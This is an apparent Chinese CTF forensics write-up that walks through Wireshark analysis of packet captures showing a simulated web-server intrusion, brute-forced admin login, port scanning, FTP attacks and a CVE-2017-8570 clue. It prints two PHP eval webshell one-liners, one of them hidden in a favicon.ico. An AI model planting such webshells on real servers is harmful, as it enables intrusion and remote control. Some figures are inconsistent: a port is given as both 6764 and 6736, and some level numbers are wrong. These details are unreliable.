本文作者:jianghuxia(來自信安之路CTF小組)
贈送書籍:《Web安全之機器學習入門》
活動地址:信安之路五月送書活動
這次的資料分析賽相對上個星期05.05的資料分析賽,個人覺得雖然簡單了很多,但其中值得學習的知識點也不少呀。
題目簡述
比賽數据包給了9個,不多不少。
看到題目,頭腦先要有個大概的駭客入侵公司的心智圖,總體脈絡清晰後,我們再接著做題。
駭客攻擊公司走的是以tcp為載體的http請求,所以過濾http成為解題的最基本的方法。發現漏洞,並利用了漏洞獲取服務器的許可權,則可以推測駭客上傳了webshell,提權成功;可以對內網進行掃描和攻擊,推出駭客提權後掛了代理,對內網及其主機進行掃描。
解題過程
關卡01~03
打開第一個數据包,可以發現有大量的404 response code,可知駭客進行了目錄掃描,結合題目和數据包,駭客在掃後臺登入的網站地址。
數据包下滑發現,404消失,其次是大量的post請求。再結合數据包分析,過濾POST請求,可知駭客發現登入後臺網址ad_admin.php,接著對用戶名和密碼進行了爆破。
第一個數据包翻完,還是沒看到爆破終止的痕迹。
通過分析,我們知道了在第一個數据包中,駭客的攻擊ip: 202.1.1.2 ,服務器ip: 192.168.1.203,並且駭客雖然找到了後臺登入的網址:
202.1.1.2
192.168.1.203
http://192.168.1.203/ad_admin.php
但並未成功爆破用戶名和密碼。關卡02和關卡03答案呼之欲出,關卡01答案需要剩餘的流量包查找。
打開第二個數据包,接著過濾POST請求,觀察下,發現末尾第1042820的分組後,駭客沒有再繼續爆破,但這裡還不能確定是否爆破成功。
我們怎麼驗證呢?我們標記下這個包,過濾http流,而又因為我們知道了駭客的IP,我們可以過濾此IP方便我們分析,並排除其他干擾數據。.
過濾語句:
http && ip.addr==202.1.1.2
跳轉到我們剛剛標記的包,可以發現,這個服務器對這個POST請求的302響應包的Length是442,與之前的所有POST請求的302響應包的Length是316不同。再結合標記包的下個GET包,根據網址的目錄名中homgpage,我們可以大膽推測駭客爆破成功了,用戶名:admin,密碼:aabbcc。關卡01的答案即可得到。
當然本著學習的角度,我們還是好好分析下這個問題:
我們查看標記包的302響應包內容和之前請求的302響應包有啥不同:
一個是302重定向的Location不同,還有一個就是標記包得到的響應包裏apadmin_password是以hash值形式(為啥是hash的形式表示,下篇文章發佈)
根據上述,我們就可確定用戶名和帳號被駭客成功獲得。
駭客獲得帳號和密碼後,查看了後臺管理的選項,進行了一些頁面瀏覽。
到此,第二個數据包分析完畢。
關卡04~07
第三個數据包,打開,依照題目,寫入的webshell需要通過POST提交,過濾下。
過濾語句:
http.request.method==POST && ip.addr==202.1.1.2
過濾後的第一個數据包就有彩蛋
解碼下:
可知駭客把 “<?php eval($_POST['cmd']);?>” 寫入了shell2.php裏,即webshell的內容,關卡04搞定(這裡正確的答案需要把\去掉,還好我問了小丟姐姐是不是答案有誤)。
"<?php eval($_POST['cmd']);?>"
而做題時,關卡05的問題讓我的思路卡頓下,因為這個問題跳躍度有點大。
為啥能直接扯到MYSQL?沒思路。咋辦咯。只能看剩下來的POST請求中shell2.php中的駭客的操作。
果然。。發現了秘密。
追跡下流,答案揭曉
接著把上面的一句話木馬的指令解碼下
原來是查看了配寘的config.php的檔案,裡面有資料庫的配寘,這才恍然大悟,原來關卡05的考點在這。
做到關卡06的時候,納悶了下,第一個上傳的木馬檔案不就是shell2.php嘛。後面小丟姐姐說了才知道是除了shell2.php的第一個木馬檔案。
繼續查看第三個數据包的內容,發現都是駭客查看資料庫的內容的一些操作,只能繼續下一個包了
打開第四個包,按之前的管道過濾,沒有符合要求的包。。。。額。。。又暈了。別嚇我,第四個沒內容。
東看西看,還真沒內容。(做完發現第四個包是個水包)
只能繼續下一個包查看。
打開第五個包,過濾一通。
發現shell2.php後面的包出現了個scan.php,猜測scan.php就是繼shell2.php後駭客上傳的第一個木馬檔案。
仔細查看響應的包,嗯,果然可以證明這個推測。
cmd內容解碼下就知道,駭客上傳了個新的木馬檔案scan.php,且對z1進行16進制解碼即為scan.php的內容。
至此,關卡06搞定。
在看看下麵的包,又發現了關卡07的答案,即駭客進行內網掃描的埠範圍。
而在做題時,我看錯了,以為下麵這個包是埠的範圍。
至此,第五個數据包分析完畢
關卡08~10
打開第六個數据包,過濾下,包不多,分析一波。駭客又登入了後臺管理,進入了備份系統,對其中的bak_2018-01-29-17-47-52.zip檔案,進行下載。
關卡08搞定。
接著打開第七個數據包包,過濾下,查看第一個包
解碼下,看到favicon.ico(ico是圖標檔案的后綴名)
在把對應的z1的值拖到winhex裏,在結尾部分可以發現一句話木馬 “<?php @eval($_POST['picto']);?>”
"<?php @eval($_POST['picto']);?>"
picto即為隱藏在favicon.ico圖片中的一句話木馬。關卡09搞定。
繼續分析流量包,發現95286分組的數據表示駭客查看了檔案目錄下的檔案,而106442分組中的數據修改了obj_edit.php的內容。
而在整個過濾後的數据包末端,出現了一個新的tunnel.php
經過分析,是新建的一個木馬檔案tunnel.php,作用是設定代理,監聽埠。
所以,駭客是通過修改obj_edit.php檔案,配合tunnel.php進行下一步行動。關卡10搞定。
第七個數据包分析完畢。
關卡11~14
打個岔,這次比賽我覺得從關卡11到關卡14都不好做,對於我個人而言,我是在13點之前做完全部的數據分析題的,九點開始的比賽,前十個問題我花了兩個多小時完成,剩下的全部花在後四題。。。
打開第八個數据包,結合關卡11的問題,一臉懵逼。。後面發現埠1433即是ftp開放的埠(別問為什麼,這題我真是懵的,我剛開始懵22,錯了,後面看到這個1433,試一下,竟然對了)
關卡11搞定(懵的,請老哥們指教)。
剩下的第八個數据包的分組,可以分析得知,駭客在爆破ftp的帳號和密碼,但是沒成功。
接著打開第九個數据包,過濾分析
這個ftp我是怎麼找到並最終確認的呢?因為觀察了下,下麵那個標記的數据包是第一個ftp的命令操作,而離這個ftp命令最近的密碼是62236顯示的內容,我才提交並確認這個密碼的。關卡12搞定。
剩下的關卡11和關卡14我是怎麼做出來的呢?。。。我說了,你可能覺得這是運氣,但,你不得不承認,這是wireshark的一個功能,但是你不知道,而我知道。
當我做完關卡11後,剩下http數据包特別多,長時間分析無果,我換了個思路,把數据包的分組按Length排序,而不是按分組號排序。
查看第一個包,就會發現有個readmd.rtf(比賽的時候提交錯誤,後面問了小丟姐姐,姐姐說把第二個d改成e)
為啥我最後可以確定答案是readmd.rtf去向小丟姐姐問是不是原本的答案有錯呢?
因為,在接下來的分析中,我找到了另外一個顯示目錄的分組,下麵是它們的對比。
可以發現,時間的誤差和新檔案的寫入正好符合時間差。所以,關卡12搞定。
最後就剩下了個關卡14了。。。這個。真的。。。。又是懵的。
最後一題在剩餘最後四題又是做的最久的。
這裡考察了一個知識點:
227 Entering Passive Mode(127,0,0,1,26,80)
代表客戶機使用PASV模式連接服務器的26x256+80=6764埠。
然後過濾IP,找到埠。(等會講講)
但是那時候我不會啊。。不知道啊。。。咋辦,繼續找唄。。。後面發現了這個
這個CVE-2017-8570即是最後的答案。。。
在分析過程中,我也看到了這個,還鬱悶怎麼會有這玩意來著。。後面,卡最後一題實在太久了,小丟姐姐也問我們還有沒有沒吃飯的,我就乖乖地去吃飯飯了。吃飯過程,想了想,不對啊,那個CVE是幹啥的,會不會就是最後一題答案,越想越覺得有這可能,扒了幾口飯就回去提交,提交前口裡喊了一聲“聖光請賜予我力量”。彈出提示,“恭喜你,完成本比賽所有關卡,並給予30%的總分額外獎勵”,隊友這個時候瘋狂摸我大腿,口裡念叨著“大佬大佬大佬啊”。
真變態,人家可是靦腆羞澀的純情單身大男孩呢。
講講賽題的坑點
坑點1
關卡14的正確解題模式
這裡介紹兩種方法,一種是按tcp埠過濾,另一種是在wireshark中改變ftp埠號。
第一種方法:
先介紹下FTP的連接模式:其有兩種方式,PORT(主動模式)和PASV(被動模式),均是相對於服務器而言的。
一、以PORT模式連接服務器的情况。其中在LOG裏有這樣的記錄:
PORT 127,0,0,1,28,37 告訴服務器當收到這個PORT指令後,連接FTP客戶的28x256+37=7205這個埠
PORT 127,0,0,1,28,37
Accepting connection:127.0.0.1:20 表示服務器接到指令後用20埠連接7205埠,而且被FTP客戶接受。
Accepting connection : 127.0.0.1:20
二、以PASV模式連接服務器,連接LOG裏有這樣幾句話:
227 Entering Passive Mode(127,0,0,1,26,80) 代表客戶機使用PASV模式連接服務器的26x256+80=6736埠。(當然服務器要支持這種模式)
227 Entering Passive Mode (127,0,0,1,26,80)
125 Data connection already open;Transfer starting 說明服務器的這個埠可用,返回ACK資訊。
125 Data connection already open; Transfer starting
兩者的計算管道其實是一樣的。(之前以為是兩種不同的計算管道,經大佬們的提醒後修正)
而在最後一個流量包中,又仔細分析了下,發現有兩種:
第一種是 227 Entering Passive Mode(192168,2108,39,78) 如圖:
227 Entering Passive Mode (192,168,2,108,39,78)
第二種是 227 Entering Passive Mode(192168,2108,39,79) 如圖
227 Entering Passive Mode (192,168,2,108,39,79)
按照上面的說法,兩者都是ftp以PASV模式連接服務器,按照計算公式依次計算為:
39*256+78=10062
39*256+78=10062
39*256+79=10063
39*256+79=10063
發現了tcp存在這兩個埠,並在10062埠中找到了正確的關卡14的答案。
相關連結:
https://blog.csdn.net/chary8088/article/details/1538573
(這個連結裡面講到的內容可能有誤,建議看下麵的連結,如果無誤,還請大佬指教)
https://blog.csdn.net/bestone0213/article/details/41892921
第二種方法:
在做題過程中,我們知道了ftp服務器放到了1433埠,wireshark中設定一波就行:編輯->首選項-> Protocols ->ftp,修正下端口號即可,然後再過濾語句ftp-data一番,查看其中的分組即可(這次栽在這個點了,說來說去經驗不足,這個思路沒想過,說明這個知識點應用的不够多)
坑點2
比賽的時候,在第七個數据包中發現存在一個ELF檔案,不知道這幹嘛的?(那時候還以為是要我搞pwn)請大佬們指教?
這幹啥的呢?估計是上傳的埠映射程式又或者是木馬。
數據賽到此為止。先去找找相應的知識點,來補補,學習學習。